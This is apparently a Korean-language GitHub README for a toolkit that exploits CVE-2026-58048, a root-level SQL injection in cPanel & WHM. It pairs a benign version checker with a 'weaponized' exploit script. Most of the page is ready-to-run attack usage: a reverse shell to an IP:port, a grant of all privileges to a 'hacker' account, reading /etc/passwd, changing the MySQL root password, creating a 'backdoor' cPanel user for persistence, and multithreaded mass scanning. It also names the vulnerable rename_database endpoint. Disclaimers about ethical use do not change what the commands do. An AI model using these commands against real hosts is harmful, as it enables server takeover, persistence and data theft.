
👾 CVE-2026-58048 – cPanel 루트 SQL 실행 툴킷 (CVSS 9.4) | 패치되지 않은 cPanel & WHM 11.x를 위한 전체 레드/블루 팀 툴킷 제품군. 2가지 도구: Safe Checker(감사/보고), Weaponized(리버스 셸, 지속성, UDF RCE, 배포, 파일 읽기/쓰기, 데이터베이스 작업, 대량 스캔). Python 포함. 🦾 윤리적으로 사용하고, 합법적으로 유지하세요 <3

⚠️ 윤리적 사용만 허용 – 승인된 보안 테스트
이 저장소는 승인된 보안 전문가, 블루팀, 침투 테스터만을 위한 도구를 제공합니다.
컴퓨터 시스템에 대한 무단 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계의 유사 법률에 따라 불법입니다.
CVE‑2026‑58048은 cPanel & WHM 11.x 버전의 치명적인 SQL 인젝션 취약점으로, 인증된 cPanel 사용자가 데이터베이스 이름 변경 기능을 통해 MySQL 루트 권한으로 임의의 SQL 명령을 실행할 수 있게 합니다.
ANSI_QUOTES 모드로 설정하여 파싱 동작을 변경합니다.11.137.1.6 미만 취약| 도구 | 목적 | 대상 사용자 |
|---|---|---|
exploit.py | 리버스 셸, 지속성, UDF RCE, 파일 읽기/쓰기, 데이터베이스 작업, 프록시 지원, 대량 스캔을 갖춘 완전한 무기화 툴킷. | 레드팀 / 승인된 침투 테스터 |
safecheck.py | cPanel 버전을 감지하고 악성 페이로드를 실행하지 않고 위험을 평가하는 비침투적 취약점 검사기. 상세 보고서를 생성합니다. | 블루팀 / 보안 감사자 |
git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt
requests
urllib3
colorama
pymysql
exploit.py 매개변수safecheck.py 매개변수익스플로잇은 다음 cPanel UAPI 엔드포인트를 사용합니다:
이 소프트웨어는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.
| 기능 | exploit.py | safecheck.py |
|---|
| 취약점 탐지 | ✅ | ✅ |
| 버전 탐지 | ✅ | ✅ |
| MySQL 루트 SQL 인젝션 | ✅ | ❌ |
| 리버스 셸 | ✅ | ❌ |
| 지속성 (cPanel 사용자 생성) | ✅ | ❌ |
| UDF RCE (명령 실행) | ✅ | ❌ |
| 파일 읽기/쓰기 | ✅ | ❌ |
| 데이터베이스 작업 (모든 SQL) | ✅ | ❌ |
| 프록시 지원 | ✅ | ✅ |
| 대량 스캔 (멀티스레드) | ✅ | ❌ |
| 대화형 셸 | ✅ | ❌ |
| 비침투적 (안전) 모드 | ❌ | ✅ |
| 상세/디버그 모드 | ✅ | ✅ |
| SSL 검증 제어 | ✅ | ✅ |
| 사용자 정의 User‑Agent | ✅ | ✅ |
| 요청 지연 / 재시도 | ✅ | ❌ |
| JSON / 보고서 출력 | ✅ | ✅ |
| 엔드포인트 접근성 확인 | ❌ | ✅ |
| SQL 모드 누출 탐지 | ❌ | ✅ |
| 시나리오 | 권장 도구 |
|---|
| 블루팀 – cPanel 설치가 취약한지 확인 | safecheck.py |
| 보안 감사 – 비침투적 취약점 평가 | safecheck.py |
| 레드팀 – 전체 익스플로잇을 포함한 승인된 침투 테스트 | exploit.py |
| 버그 바운티 – 책임 있는 공개 테스트 | safecheck.py |
| 대량 스캔 – 여러 대상의 취약점 확인 | exploit.py (탐지만) |
| 사고 대응 – 시스템이 침해되었는지 확인 | safecheck.py |
| 매개변수 | 설명 |
|---|
-t, --target | 대상 cPanel URL (예: https://cpanel.example.com:2083) |
-l, --target-file | 대량 스캔을 위한 대상 목록이 포함된 파일 (한 줄에 하나씩) |
-u, --mysql-user | cPanel/MySQL 사용자 이름 |
-P, --mysql-pass | cPanel/MySQL 비밀번호 |
--mysql-port | MySQL 포트 (기본값: 3306) |
-p, --port | cPanel 포트 재정의 (URL 또는 2083에서 기본값 설정) |
--threads | 다중 대상용 스레드 수 (기본값: 10) |
-o, --output | 결과를 파일에 저장 (단일 대상) |
--log | 상세 출력용 로그 파일 |
-v, --verbose | 상세 출력 |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
-ua, --user-agent | 사용자 정의 User‑Agent |
--no-keep-alive | 세션을 활성 상태로 유지하지 않음 |
--delay | 요청 간 지연 (기본값: 2.0초) |
--max-retries | 최대 재시도 횟수 (기본값: 3) |
--ssl-verify | SSL 인증서 검증 |
--cmd | 실행할 명령 (특정 작업의 경우 sql: 또는 udf: 접두사 사용) |
--inject | 주입할 사용자 정의 SQL (다른 작업을 재정의) |
--reverse-shell | 리버스 셸 IP:PORT (UDF 사용) |
--passwd | MySQL 루트 비밀번호 변경 |
--adduser | cPanel 사용자 생성 (USER DOMAIN PASSWORD) |
--read | LOAD_FILE을 통해 파일 읽기 |
-i, --interactive | 익스플로잇 후 대화형 셸 |
--verify | MySQL 로그인을 시도하여 익스플로잇 성공 확인 |
--ping | 익스플로잇 전 대상 핑 |
| 매개변수 | 설명 |
|---|
-t, --target | 대상 cPanel URL (예: https://cpanel.example.com:2083) |
-v, --verbose | 상세 출력 |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
-ua, --user-agent | 사용자 정의 User‑Agent |
--ssl-verify | SSL 인증서 검증 |
--timeout | 요청 타임아웃(초) (기본값: 10) |
--log | 보고서를 파일에 저장 |
--json | 결과를 JSON 형식으로 출력 |
| # | 시나리오 | 명령 |
|---|
| 1 | 빠른 취약점 확인 | python safecheck.py -t https://cpanel.example.com:2083 |
| 2 | 보고서를 포함한 상세 스캔 | python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v |
| 3 | 리버스 셸 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444 |
| 4 | 사용자 정의 SQL 실행 (루트) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%' IDENTIFIED BY 'pwned'" |
| 5 | 민감한 파일 읽기 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd |
| 6 | MySQL 루트 비밀번호 변경 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123 |
| 7 | 새 cPanel 사용자 생성 (지속성) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123 |
| 8 | 익스플로잇 후 대화형 셸 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i |
| 9 | 파일에서 대량 스캔 | python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json |
| 10 | 프록시 및 사용자 정의 User‑Agent 사용 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)" |
| 엔드포인트 | 목적 |
|---|
/execute/Mysql/create_database | 임시 데이터베이스 생성 |
/execute/Mysql/delete_database | 생성된 데이터베이스 정리 |
/execute/Mysql/rename_database | 취약한 엔드포인트 – SQL 인젝션 유발 |
/execute/Version/get_version | 인증 및 버전 확인 |
/execute/UserManager/create_user | 새 cPanel 사용자 생성 (지속성) |
/execute/UserManager/list_users | 기존 사용자 목록 |